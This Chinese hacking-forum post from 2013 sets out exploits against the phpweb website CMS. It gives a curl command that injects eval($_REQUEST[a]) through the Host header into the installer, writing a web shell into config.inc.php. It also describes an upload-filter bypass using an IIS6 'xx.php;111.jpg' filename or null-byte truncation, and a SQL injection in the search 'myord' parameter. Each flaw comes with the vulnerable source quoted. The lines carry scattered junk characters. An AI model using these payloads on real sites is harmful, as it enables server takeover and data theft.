找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2379|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:% u& j' `  O1 ~1 C! \7 N+ O3 }

  C* s$ V" P! z6 [  N之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
8 U7 ^/ W3 v1 r, H" `
/ b7 w4 I" ^" W1 Y5 `. q1 r鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件5 t, e2 L1 `; A  @: m
鸡肋2: 有一定安全常识的站长都会删掉 install 目录6 M) P8 m2 D: ~  v! S

$ r/ S" E% D1 E- s虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
- h7 R, [6 {2 d+ d" V
# P' S1 f2 H7 r$ j5 F分析:& m$ W5 c- C  }2 K% s3 _& E

/ Y& F# x2 n/ b6 E, x3 [- a$ E8 P " g* y- Z5 ~* ~0 k8 X$ S
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
/ @# I% p, i- L( L, Q' _$ p
& h" s8 E8 Z' \" b                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
  }* r# {# z, [0 q) G                                            $filestr=str_replace(" ","",$filestr);$ O5 q7 j0 v! q' I
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
, ~2 \% D/ _  |$ m  g4 o                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
5 z, P8 b' T* d8 z% O4 {8 {7 u0 I7 ?                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);! H7 k% H  K- f7 q" P8 J( v& h9 Z
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
& S& ?  r/ C/ s+ n' X5 j                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);6 ~3 B: H: c; H9 ^9 U2 ^, a7 [
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
9 d- y8 W2 u8 w2 `  o* }                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
! N! p. a" ?9 O, P$ {
; x: r& ~8 I2 j& o& a) [- T/ v                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
( ?- h# e" v5 T( V! G$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
) N0 S4 R" ]) O; \* p% l! R . L0 z1 @! v# I4 y) ?
poc:
# ?) f0 s% H* g* H1 m$ y. k) |
! Y) |3 N# x! h6 e! m; m?8 O9 J' ~$ \' I& j- ~3 ]
1/ i6 b6 n, |/ ^# |0 Y8 ~
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"' ?+ Y( G2 {) ]1 A
shell地址: /config.inc.php
1 x. }' I, L: y7 K. x跟之前的 phpcms一样 需要远程数据库
% v+ E* ~8 @: i7 i1 U7 j/ ]2 l
; Q% |  q; n7 i8 |1 ~1 x. p——————————————————–( V  X" X% J6 G$ Z3 l
上传漏洞(需要进后台):
( T" c  X: h. [! W$ g( }漏洞文件: /kedit/upload_cgi/upload.php
; i) N8 r. y- D. v这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
' O. t7 t( c9 ~9 M1 h' J $ {" R8 c% u& e3 [
% H! o  e7 R9 I9 j% ]2 F
<?php
( b9 r+ I# \3 Y    define("ROOTPATH", "../../");0 _+ K+ [( x9 g* r2 U4 x  T  P
    include(ROOTPATH."includes/admin.inc.php");
6 I% c5 G) {& f- u    NeedAuth(0);9 \9 S- H$ V# v& z( P2 Y6 K
+ `& }, C- ?0 S- ?8 P) P( o; r
    $dt=date("Ymd",time());# D; S, t5 @7 s  u* T
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
6 x" [9 U' j2 F9 G  p            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
; V% i- D" V& [& |    }2 Q. i2 F( B: J
* c# ^- `& b/ _' I) r
    //文件保存目录路径% f9 V7 S9 @$ G, x# E  |' _& s
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';" m$ k% @# p( _; d
    echo $save_path;
3 S% N+ E3 z  f' g2 `    //文件保存目录URL
7 p; ?' I. n+ z- K/ h    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
2 y$ o( S8 h5 g! T  D0 |
4 \* v5 `6 G+ L  t3 @* \& X    //定义允许上传的文件扩展名
4 ~; l2 U! U1 V. S: B0 }9 ^    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
4 j. i0 A  \/ j" ], R . k% n8 o6 c1 [; a- B
    //最大文件大小
- ?: y* i. @) ~1 f7 X7 V    $max_size = 1000000;
  Q2 n# f3 |7 ~0 `, Y) r+ i - M: R9 {1 _* m2 L! l1 }
    //更改目录权限& z+ E2 M+ Q* h) A3 e" \
    @mkdir($save_path, 0777);  `0 m: p  {1 h" z# O' ~: I" _1 t! L+ |& B
9 c% w# F( j! q9 g  A3 U/ V& Q' m
    //文件的全部路径6 W+ f( D9 t$ ]0 \9 J! x
    $file_path = $save_path.$_POST['fileName'];   //保存文件名- {) w" `/ U/ E: k1 b( ^; z
2 Z$ _. D/ O9 O! Z; {
    //文件URL
/ C( j7 j1 @) `$ ?5 h$ W    $file_url = $save_url.$_POST['fileName'];
# Y' P7 d6 ]* F//有上传文件时3 X  A6 P; ?& n0 Z
    if (empty($_FILES) === false) {, w- y' K! J  ~
) f. Y9 s$ C6 u: Y' x& Z& v
            //原文件名
7 E4 m$ K# `$ @5 ~( E            $file_name = $_FILES['fileData']['name'];% [: q% p1 I" ^
            //服务器上临时文件名
+ b7 t* v- H6 S* t            $tmp_name = $_FILES['fileData']['tmp_name'];8 ^- D4 r' T0 O; ^
            //文件大小
0 x& p3 A- m! c6 \: E0 @            $file_size = $_FILES['fileData']['size'];
6 R8 r0 y) n7 o5 d            //检查目录. W( ?. y: }" K' _5 a' I
            if (@is_dir($save_path) === false) {& O6 Z0 u3 N% Q& V
                    alert("上传目录不存在。");
" o" z, r! u9 R* g9 z$ |0 ~            }
6 I. J" z6 D! @+ _            //检查目录写权限: E& a2 i4 J' A, v
            if (@is_writable($save_path) === false) {: N9 _( f# I7 e2 q. \3 E' ^# x. d* q
                    alert("上传目录没有写权限。");& {, B2 t: x, S. _* q" s
            }
3 ^; o5 l  F# Q/ H  V) o# Z' [            //检查是否已上传' K! z/ S) j3 @: O/ ], G# Q7 H) p
            if (@is_uploaded_file($tmp_name) === false) {1 ^  l" }' R2 h! K: d7 w- v, }
                    alert("临时文件可能不是上传文件。");
3 J8 _. G$ ~2 n5 f6 G            }
" @8 m7 `) f1 j/ P+ f            //检查文件大小
) }8 O) {' d: o: _            if ($file_size > $max_size) {
6 v* b8 ?, {  r                    alert("上传文件大小超过限制。");1 n, a2 N+ E. k. g9 `" T6 S8 W( c
            }1 p3 a, L8 a5 a: q) [) M$ {
            //获得文件扩展名! X8 Z  B( ?+ \# |' p
            $temp_arr = explode(".", $_POST['fileName']);- t8 N7 z. g( z' [) e6 t: f) `
            $file_ext = array_pop($temp_arr);3 J* p6 D  T3 E4 j( s. ?8 }/ v
            $file_ext = trim($file_ext);' D! n: o4 f" T" p  W4 L
            $file_ext = strtolower($file_ext);
5 |# i) s2 o4 ~+ g 4 d2 t8 p$ m' @# V0 o% |
            //检查扩展名   $ v! e6 y" c: O( T9 \; n
            if (in_array($file_ext, $ext_arr) === false) {     2 p6 a' F7 r; i6 g
                    alert("上传文件扩展名是不允许的扩展名。");. E, t( {3 d& {5 l0 [& h
            }. M% @4 ?2 _' ]
* Y! C$ R" G$ F. P& R; i' U
            //移动文件   
+ x' C5 S* A- p; y. I2 n$ X) p( _            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
2 u* Y+ C8 }) j0 d5 E) U            if (move_uploaded_file($tmp_name, $file_path) === false) {
% M- L3 f" D# W6 {                    alert("上传文件失败。");( {# j! X  y7 A6 M7 L/ {
            }
; }! _/ O* l, X+ R$ V2 e8 i ; E# V7 ^) q$ D- w  {- G$ S$ Z( L. B
            @chmod($file_path,0666);  Z0 h* L% |( L( L7 Y
9 }. ]( N: f( K: d3 |
    ?>
0 s) z) Y# G; K1 g0 Z  m抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
- t% E9 w* ^3 m% C1 S0 C- m 1 G% H9 b5 m, A2 y4 ^
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
. ?5 \& _; Z9 `- k- {& V# S ( Z+ O* n$ ~1 B( R$ i9 T0 ]
——————————————————( X! t' @* k2 p8 ?7 C
注入漏洞:
  r8 o2 H* E# s" ~7 @: K漏洞文件:search/module/search.php, ~, |5 e* l9 q) f0 w/ y
/search/index.php?key=1&myord=1 [sqlinjection]# U1 A: S8 M/ q, u' L3 W
. U& N6 L% x" d* n# ~# `$ \9 d8 H
7 R/ ~- A5 D+ Y- R; s& }+ [! k$ l8 c1 ~
<?php- N3 V7 z% V- y5 B
   //       ... 省略 n 行...
2 G0 \( q' s5 k2 ?* Z5 J  m6 s   //第18行:# l0 u0 L1 t: \! J1 o
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
4 P- m/ }8 b( w2 J. y           $page=htmlspecialchars($_GET["page"]);. Y6 K9 w8 ~# m9 p
           $myord=htmlspecialchars($_GET["myord"]);
1 [) w$ h' ^! d5 b3 C1 U8 { , E0 F: j5 f0 Z; l
   //       ... 省略 n 行...
# Q/ P5 o2 H' Y   $key,$myord 两个参数带入查询- t1 i0 J+ u# M2 t
   //第47行 $key:
" }8 H+ F1 }3 Q  J6 _; l7 t / l, }' j& M: I/ j
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..; m( z4 f9 `- n/ Z8 J1 g' |

) M: Q* t4 e: a, ]. ]   //第197行 $myord
+ n5 |' {9 l: d. I/ H' ^   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入( J9 ~2 T( a8 \, Y
7 X1 h  k# b/ f: E4 S! Z' E# Q
   ?>9 n/ g* A( u' k7 U
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表